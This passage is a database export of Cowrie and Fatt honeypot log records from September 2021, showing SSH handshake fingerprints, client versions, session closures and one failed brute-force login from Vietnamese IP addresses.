23719	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:47.645926+03	2021-09-20 14:15:07.868472+03	{"_id": "QgbjAnwBvYTbRNuE_Q91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ddc5a511750a", "@version": "1", "timestamp": "2021-09-20T11:07:47.645926Z", "@timestamp": "2021-09-20T11:07:47.645Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23720	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:47.713294+03	2021-09-20 14:15:07.869471+03	{"_id": "QwbjAnwBvYTbRNuE_Q91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "aa7d3cfaccd7", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:47.713294Z", "@timestamp": "2021-09-20T11:07:47.713Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23721	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:47.798711+03	2021-09-20 14:15:07.871471+03	{"_id": "RAbjAnwBvYTbRNuE_Q91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a55e182cb990", "@version": "1", "timestamp": "2021-09-20T11:07:47.798711Z", "@timestamp": "2021-09-20T11:07:47.798Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23722	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:47.864496+03	2021-09-20 14:15:07.87247+03	{"_id": "RQbjAnwBvYTbRNuE_Q91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a13ab08649e3", "@version": "1", "duration": 2.428414821624756, "timestamp": "2021-09-20T11:07:47.864496Z", "@timestamp": "2021-09-20T11:07:47.864Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23723	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:47.925385+03	2021-09-20 14:15:07.87447+03	{"_id": "RgbjAnwBvYTbRNuE_Q91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "725d61c226c3", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:47.925385Z", "@timestamp": "2021-09-20T11:07:47.925Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23725	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:47.990397+03	2021-09-20 14:15:07.877471+03	{"_id": "SAbjAnwBvYTbRNuE_Q91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "aa7d3cfaccd7", "@version": "1", "timestamp": "2021-09-20T11:07:47.990397Z", "@timestamp": "2021-09-20T11:07:47.990Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23726	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:48.110321+03	2021-09-20 14:15:07.87847+03	{"_id": "SQbjAnwBvYTbRNuE_Q91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7bef025ad5d8", "@version": "1", "timestamp": "2021-09-20T11:07:48.110321Z", "@timestamp": "2021-09-20T11:07:48.110Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23727	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:48.129449+03	2021-09-20 14:15:07.880471+03	{"_id": "SgbjAnwBvYTbRNuE_Q91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "1722db1c4cdd", "@version": "1", "duration": 2.428122043609619, "timestamp": "2021-09-20T11:07:48.129449Z", "@timestamp": "2021-09-20T11:07:48.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23728	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:48.165555+03	2021-09-20 14:15:07.881501+03	{"_id": "SwbjAnwBvYTbRNuE_Q91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [scanner/scanner] failed", "session": "31d9f752e078", "@version": "1", "password": "scanner", "username": "scanner", "timestamp": "2021-09-20T11:07:48.165555Z", "@timestamp": "2021-09-20T11:07:48.165Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23734	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:48.20303+03	2021-09-20 14:15:07.889493+03	{"_id": "VQbkAnwBvYTbRNuEAA-z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": 